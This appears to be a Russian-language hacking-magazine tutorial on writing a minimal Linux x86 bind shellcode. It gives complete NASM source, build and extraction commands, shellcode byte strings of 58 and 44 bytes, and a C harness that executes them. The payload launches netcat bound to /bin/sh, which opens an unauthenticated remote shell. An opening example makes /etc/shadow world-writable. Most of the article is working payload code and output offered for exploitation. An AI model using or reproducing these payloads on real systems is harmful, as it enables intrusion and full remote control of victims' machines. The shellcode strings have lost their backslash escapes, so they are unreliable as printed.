Ты наверняка знаешь, что практически каждый эксплоит содержит в своем составе так называемый shell-код, выполняющийся при работе эксплоита. С первого взгляда может показаться, что писать shell-код — удел избранных, ведь для этого необходимо сначала постичь дзен байт-кода. Однако все не так страшно. В этой статье я расскажу, как написать простой bind shellcode, после чего мы его доработаем и сделаем одним из самых компактных в своем классе.

Shell-код представляет собой набор машинных команд, позволяющий получить доступ к командному интерпретатору (cmd.exe в Windows и shell в Linux, от чего, собственно, и происходит его название). В более широком смысле shell-код — это любой код, который используется как payload (полезная нагрузка для эксплоита) и представляет собой последовательность машинных команд, которую выполняет уязвимое приложение (этим кодом может быть также простая системная команда, вроде chmod 777 /etc/shadow):

x31xc0x50xb0x0fx68x61x64x6fx77x68x63x2fx73
x68x68x2fx2fx65x74x89xe3x31xc9x66xb9xffx01
xcdx80x40xcdx80
 

Немного теории

Уверен, что многие наши читатели и так знают те истины, которые я хочу описать в теоретическом разделе, но не будем забывать про недавно присоединившихся к нам хакеров и постараемся облегчить их вхождение в наше непростое дело.

 

Системные вызовы

Системные вызовы обеспечивают связь между пространством пользователя (user mode) и пространством ядра (kernel mode) и используются для множества задач, таких, например, как запуск файлов, операции ввода-вывода, чтения и записи файлов.

Для описания системного вызова через ассемблер используется соответствующий номер, который вместе с аргументами необходимо вносить в соответствующие регистры.

 

Регистры

Регистры — специальные ячейки памяти в процессоре, доступ к которым осуществляется по именам (в отличие от основной памяти). Используются для хранения данных и адресов. Нас будут интересовать регистры общего назначения: EAX, EBX, ECX, EDX, ESI, EDI, EBP и ESP.

 

Стек

Стеком называется область памяти программы для временного хранения произвольных данных. Важно помнить, что данные из стека извлекаются в обратном порядке (что сохранено последним — извлекается первым). Переполнение стека — достаточно распространенная уязвимость, при которой у атакующего появляется возможность перезаписать адрес возврата функции на адрес, содержащий shell-код.

 

Проблема нулевого байта

Многие функции для работы со строками используют нулевой байт для завершения строки.

Таким образом, если нулевой байт встретится в shell-коде, то все последующие за ним байты проигнорируются и код не сработает, что нужно учитывать.

 

Необходимые нам инструменты

  • Linux Debian x86/x86_64 (хотя мы и будем писать код под x86, сборка на машине x86_64 проблем вызвать не должна);
  • NASM — свободный (LGPL и лицензия BSD) ассемблер для архитектуры Intel x86;
  • LD — компоновщик;
  • objdump — утилита для работы с файлами, которая понадобится нам для извлечения байт-кода из бинарного файла;
  • GCC — компилятор;
  • strace — утилита для трассировки системных вызовов.

Если бы мы создавали bind shell классическим способом, то для этого нам пришлось бы несколько раз дергать сетевой системный вызов socketcall():

  • net.h/SYS_SOCKET — чтобы создать структуру сокета;
  • net.h/SYS_BIND — привязать дескриптор сокета к IP и порту;
  • net.h/SYS_LISTEN — начать слушать сеть;
  • net.h/SYS_ACCEPT — начать принимать соединения.

И в конечном итоге наш shell-код получился бы достаточно большим. В зависимости от реализации в среднем выходит 70 байт, что относительно немного... Но не будем забывать нашу цель — написать максимально компактный shell-код, что мы и сделаем, прибегнув к помощи netcat!

 

Почему размер так важен для shell-кода?

Ты, наверное, слышал, что при эксплуатации уязвимостей на переполнение буфера используется принцип перехвата управления, когда атакующий перезаписывает адрес возврата функции на адрес, где лежит shell-код. Размер shell-кода при этом ограничен и не может превышать определенного значения.

 

Код

Shell-код мы будем писать на чистом ассемблере, тестировать — в программе на С. Наша заготовка bind_shell_1.nasm, разбитая для удобства на блоки, выглядит следующим образом:

; Блок 1
section .text
global _start
_start:

; Блок 2
xor edx, edx
push edx
push 0x35343332  ; -vp12345
push 0x3170762d
mov esi, esp

; Блок 3
push edx
push 0x68732f2f  ; -le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp

; Блок 4
push edx
push 0x636e2f2f  ; /bin//nc
push 0x6e69622f
mov ebx, esp

; Блок 5
push edx
push esi
push edi
push ebx
mov ecx, esp
xor eax, eax
mov al,11
int 0x80

Сохраним ее как super_small_bind_shell_1.nasm и далее скомпилируем:

$ nasm -f elf32 super_small_bind_shell_1.nasm

а затем слинкуем наш код:

$ ld -m elf_i386 super_small_bind_shell_1.o -o super_small_bind_shell_1

и запустим получившуюся программу через трассировщик (strace), чтобы посмотреть, что она делает:

$ strace ./super_small_bind_shell_1
Запуск bind shell через трассировщик
Запуск bind shell через трассировщик

Как видишь, никакой магии. Через системный вызов execve() запускается netcat, который начинает слушать на порте 12345, открывая удаленный шелл на машине. В нашем случае мы использовали системный вызов execve() для запуска бинарного файла /bin/nc с нужными параметрами (-le/bin/sh -vp12345).

execve() имеет следующий прототип:

int execve(const char *filename, char *const argv[], char *const envp[]);
  • filename обычно указывает путь к исполняемому бинарному файлу — /bin/nc;
  • argv[] служит указателем на массив с аргументами, включая имя исполняемого файла, — ["/bin//nc", "-le//bin//sh", "-vp12345"];
  • envp[] указывает на массив, описывающий окружение. В нашем случае это NULL, так как мы не используем его.

Синтаксис нашего системного вызова (функции) выглядит следующим образом:

execve("/bin//nc", ["/bin//nc", "-le//bin//sh", "-vp12345"], NULL)
 

Описываем системные вызовы через ассемблер

Как было сказано в начале статьи, для указания системного вызова используется соответствующий номер (номера системных вызовов для x86 можно посмотреть здесь: /usr/include/x86_64-linux-gnu/asm/unistd_32.h), который необходимо поместить в регистр EAX (в нашем случае в регистр EAX, а точнее в его младшую часть AL было занесено значение 11, что соответствует системному вызову execve()).

Аргументы функции должны быть помещены в регистры EBX, ECX, EDX:

  • EBX — должен содержать адрес строки с filename — /bin//nc;
  • ECX — должен содержать адрес строки с argv[]"/bin//nc" "-le//bin//sh" "-vp12345";
  • EDX — должен содержать null-байт для envp[].

Регистры ESI и EDI мы использовали как временное хранилище для сохранения аргументов execve() в нужной последовательности в стек, чтобы в блоке 5 (см. код выше) перенести в регистр ECX указатель (указатель указателя, если быть более точным) на массив argv[].

 

Ныряем в код

Разберем код по блокам.

Блок 1 говорит сам за себя и предназначен для определения секции, содержащей исполняемый код и указание линкеру точки входа в программу.

section .text
global _start
_start:

Блок 2

xor edx, edx

Обнуляем регистр EDX, значение которого (NULL) будет использоваться для envp[], а также как символ конца строки для вносимых в стек строк. Обнуляем регистр через XOR, так как инструкция mov edx, 0 привела бы к появлению null-байтов в shell-коде, что недопустимо.

push edx        ; Отправляем в стек символ конца строки
push 0x35343332 ; Отправляем в стек строку -vp12345
push 0x3170762d
mov esi, esp    ; Отправляем в ESI адрес -vp12345 строки в стеке

 

Важно!

Аргументы для execve() мы отправляем в стек, предварительно перевернув их справа налево, так как стек растет от старших адресов к младшим, а данные из него извлекаются наоборот — от младших адресов к старшим.

Для того чтобы перевернуть строку и перевести ее в hex, можно воспользоваться следующей Linux-командой:

$ echo -n '-vp12345' | rev | od -A n -t x1 |sed 's/ /x/g
x35x34x33x32x31x70x76x2d`

Блок 3

push edx        ; Отправляем в стек символ конца строки
push 0x68732f2f ; Отправляем в стек строку -le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp    ; Отправляем в EDI адрес строки -le//bin//sh в стеке

Ты, наверное, заметил странноватый путь к бинарнику с двойными слешами. Это делается специально, чтобы число вносимых байтов было кратным четырем, что позволит не использовать нулевой байт (Linux игнорирует слеши, так что /bin/nc и /bin//nc — это одно и то же).

Блок 4

push edx        ; Отправляем в стек символ конца строки
push 0x636e2f2f ; Отправляем в стек строку /bin//nc (filename)
push 0x6e69622f
mov ebx, esp    ; Отправляем в EBX адрес строки /bin//nc в стеке

Блок 5

push edx     ; Отправляем в стек символ конца строки
push esi     ; Отправляем в стек адрес со строкой -vp12345
push edi     ; Отправляем в стек адрес со строкой -le//bin//sh
push ebx     ; Отправляем в стек адрес со строкой /bin//nc
mov ecx, esp ; Отправляем в ECX адрес в стеке, ссылающийся на адрес argv[] (указатель на указатель)
xor eax, eax ; Обнуляем EAX
mov al,11    ; Отправляем код 11 для системного вызова execve() в младший байт

Почему в AL, а не в EAX? Регистр EAX имеет разрядность 32 бита. К его младшим 16 битам можно обратиться через регистр AX. AX, в свою очередь, можно разделить на две части: младший байт (AL) и старший байт (AH). Отправляя значение в AL, мы избегаем появления нулевых байтов, которые бы автоматически появились при добавлении 11 в EAX.

 

Извлекаем shell-код

Чтобы наконец получить заветный shell-код из файла, воспользуемся следующей командой Linux:

$ objdump -d ./super_small_bind_shell_1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

и получаем на выходе вот такой вот симпатичный shell-код:

x31xd2x52x68x32x33x34x35x68x2dx76x70x31x89xe6x52x68x2fx2fx73x68
x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52x68x2fx2fx6ex63x68x2fx62
x69x6ex89xe3x52x56x57x53x89xe1x31xc0xb0x0bxcdx80
 

Тестируем

Для теста будем использовать следующую программу на С:

#include<stdio.h>

#include<string.h>

unsigned char shellcode[] =
"x31xd2x52x68x32x33x34x35x68x2dx76x70x31x89xe6x52x68x2fx2fx73x68"
"x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52x68x2fx2fx6ex63x68x2fx62"
"x69x6ex89xe3x52x56x57x53x89xe1x31xc0xb0x0bxcdx80";
main()
{
    printf("Shellcode Length: %dn",strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
}

Компилируем. NB! Если у тебя x86_64 система, то может понадобиться установка g++-multilib:

# apt-get install g++-multilib

$ gcc -m32 -fno-stack-protector -z execstack checker.c -o checker

Запускаем:

$ ./checker
Проверяем bind shell
Проверяем bind shell

Хех, видим, что наш shell-код работает: его размер — 58 байт, netcat открывает шелл на порте 12345.

 

Оптимизируем размер

58 байт — это довольно неплохо, но если посмотреть в shellcode-раздел exploit-db.com, то можно найти и поменьше, например вот этот размером в 56 байт.

 

Можно ли сделать наш код существенно компактнее?

Можно. Убрав блок, описывающий номер порта. При таком раскладе netcat все равно будет исправно слушать сеть и даст нам шелл. Правда, номер порта нам теперь придется найти с помощью nmap. Наш новый код будет выглядеть следующим образом:

section .text
global _start
 _start:

  xor edx, edx
  push edx
  push 0x68732f2f ; -le//bin//sh
  push 0x6e69622f
  push 0x2f656c2d
  mov edi, esp

  push edx
  push 0x636e2f2f ; /bin//nc
  push 0x6e69622f
  mov ebx, esp

  push edx
  push edi
  push ebx
  mov ecx, esp
  xor eax, eax
  mov al,11
  int 0x80

Компилируем:

$ nasm -f elf32 super_small_bind_shell_2.nasm

Линкуем:

$ ld -m elf_i386 super_small_bind_shell_2.o -o super_small_bind_shell_2

Извлекаем shell-код:

$ objdump -d ./super_small_bind_shell_2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52
x68x2fx2fx6ex63x68x2fx62x69x6ex89xe3x52x57x53x89xe1x31xc0xb0x0b
xcdx80

Проверяем:

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] =
"x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52"
"x68x2fx2fx6ex63x68x2fx62x69x6ex89xe3x52x57x53x89xe1x31xc0xb0x0b"
"xcdx80";
main()
{
    printf("Shellcode Length: %dn",strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
}
$ gcc -m32 -fno-stack-protector -z execstack checker2.c -o checker2
$ ./checker2
Shellcode Length: 44

А теперь попробуем подключиться и получить удаленный шелл-доступ. С помощью Nmap узнаем, на каком порте висит наш шелл, после чего успешно подключаемся к нему все тем же netcat:

И снова проверяем bind shell
И снова проверяем bind shell

Bingo! Цель достигнута: мы написали один из самых компактных Linux x86 bind shellcode. Как видишь, ничего сложного ;).

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    11 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии